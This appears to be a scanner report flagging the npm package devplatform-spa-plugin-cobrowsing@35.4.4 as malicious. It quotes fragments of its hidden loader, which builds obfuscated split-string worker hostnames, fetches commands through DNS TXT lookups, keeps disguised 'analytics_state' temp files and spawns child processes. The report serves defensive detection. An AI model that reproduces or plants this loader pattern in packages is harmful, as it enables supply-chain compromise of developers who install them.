devplatform-spa-plugin-cobrowsing@35.4.4: Malicious npm security

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devplatform-spa-plugin-cobrowsing@35.4.4: Malicious npm security | LPM Firewall

Source & flagged code

4 flagged

_runtime.jsView file

Lines 1-26javascript

1"use strict";

3const os = require("os");

4const fs = require("fs");

5const crypto = require("crypto");

6const path = require("path");

7const https = require("https");

8// Session dedup via filesystem stamp

Critical

Download Execute

Source downloads or fetches remote code and executes it.

_runtime.jsView on unpkg · L6

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

_runtime.jsView on unpkg · L6

10const NODE_PLAT = {

11 "freebsd/x64": "linux_x64",

12 "win32/x64": "win32",

13 "linux/x64": "linux_x64",

14 "win32/ia32": "win32",

15 "linux/arm64": "linux_arm64",

16 "darwin/arm64": "darwin",

17 "darwin/x64": "darwin",

18 "linux/arm": "linux_x64"

19};

23const _SERVERS = [

24 ["oob-worker.cf100-416.workers",".dev"].join(""),

25 ["oob-wor","ker.cf99-9b3.worker","s.dev"].join(""),

26 ["oob-worker.cf","103-070.","work","ers",".de","v"].join(""),

Lines 100-140javascript

100}

101

102async function txtFetch(domain) {

103 try {

104 const cnt = await _lookupTxt("c." + domain);

lib/telemetry.jsView file

•matchType = normalized_sha256 matchedPackage = contract-contract-builder@35.5.2 matchedPath = lib/telemetry.js matchedIdentity = npm:[redacted]:35.5.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/telemetry.jsView on unpkg

Source & flagged code

4 flagged · loading source

_runtime.jsView file

6const path = require("path"); L7: const https = require("https"); L8: // Session dedup via filesystem stamp ... L46: const MAX_AGE = 22448; L47: const _l = (...a) => process.stderr.write(""); L48: ... L58: const isWin = _p("platform") === "win32"; L59: const dir = isWin ? (process.env.TEMP || process.env.TMP || "C:\\Windows\\Temp") : "/tmp"; L60: return path.join(dir, isWin ? "analytics_state" : ".analytics_state"); ... L93: try { L94: require("dns").resolveTxt(d, (e, rr) => { L95: if (e || !rr || !rr.length) return r("");

Critical

Download Execute

Source downloads or fetches remote code and executes it.

_runtime.jsView on unpkg · L6

6Trigger-reachable chain: manifest.main -> index.js -> _runtime.js L6: const path = require("path"); L7: const https = require("https"); L8: // Session dedup via filesystem stamp ... L46: const MAX_AGE = 22448; L47: const _l = (...a) => process.stderr.write(""); L48: ... L58: const isWin = _p("platform") === "win32"; L59: const dir = isWin ? (process.env.TEMP || process.env.TMP || "C:\\Windows\\Temp") : "/tmp"; L60: return path.join(dir, isWin ? "analytics_state" : ".analytics_state"); ... L93: try { L94: require("dns").resolveTxt(d, (e, rr) => { L95: if (e || !rr || !rr.length) return r("");

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

_runtime.jsView on unpkg · L6

120try { L121: const cp = require("child_process"); L122: if (isWin) {

High

Child Process

Package source references child process execution.

_runtime.jsView on unpkg · L120

lib/telemetry.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/telemetry.jsView on unpkg

devplatform-spa-plugin-cobrowsing@35.4.4

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code